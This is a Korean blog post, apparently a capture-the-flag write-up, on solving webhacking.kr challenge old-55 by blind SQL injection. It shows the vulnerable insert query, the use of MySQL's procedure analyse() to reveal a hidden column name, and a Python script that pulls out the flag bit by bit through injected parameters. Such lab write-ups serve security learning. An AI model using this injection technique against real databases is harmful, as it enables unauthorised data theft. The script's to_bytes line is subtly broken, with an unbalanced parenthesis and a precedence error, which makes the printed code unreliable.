반응형

해당 문제는 Blind SQL Injection을 통해 solve하였다.


rank.php에 접근하면 하단에 다음과 같은 코드가 제공된다.

이는 메인페이지에서 score를 등록하였을 때 데이터베이스에 insert하는 구문으로 보인다.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");


여기서 보면 테이블 마지막 컬럼에 flag가 저장되는 것을 볼 수 있는데, rank.php에서 제공되는 데이터는 아이디와 점수 뿐이다.

일단 and 구문을 이용하여 blind sql injection이 가능한 것을 확인한다.



이제 이를 이용하여 flag를 획득하면 되는데 insert 구문에서 컬럼명을 제공해주지 않았기 때문에 진행할 수가 없다.

이와 같이 컬럼명을 알지 못할 때 이용할 수 있는 것이 바로 procedure analyse() 이다.


procedure analyse()는 SELECT 구문의 마지막에 사용되며 쿼리에 의해 리턴되는 값들에 대한 통계가 일부 표시된다.

아래는 procedure analyse() 함수의 예시이다.

보는 바와 같이 첫번째 컬럼의 값들이 [데이터베이스명.테이블명.컬럼명] 으로 이루어져 있음을 확인할 수 있다.


이 기능을 이용하여 해당 문제를 풀 수 있다.

다음과 같이 procedure analyse()를 이용하게 되면 응답에 Field_name이 출력되며, LIMIT 기능을 이용하여 원하는 컬럼명을 획득할 수 있다.


이후 python 코드를 통해 FLAG를 획득하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
 
url="https://webhacking.kr/challenge/web-31/rank.php"
flag=""
 
for i in range(1,32):
    binary=''
    for bin_l in range(1,8):
        param = "?score=771+and+1=right(left(lpad(bin(ord(right(left(p4ssw0rd_1123581321,"+str(i)+"),1))),7,0),"+str(bin_l)+"),1)"
 
        response = requests.get(url+param)
        if('Rootable' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i=int(binary,2)   #문자열을 2진수로 변경
    flag = flag+b2i.to_bytes((b2i.bit_length()+7// 8,'big').decode()  #to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] "+flag)
 
print("[+]Final Flag : "+flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-57 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
webhacking.kr old-60 writeup  (0) 2020.04.13
블로그 이미지

rootable

,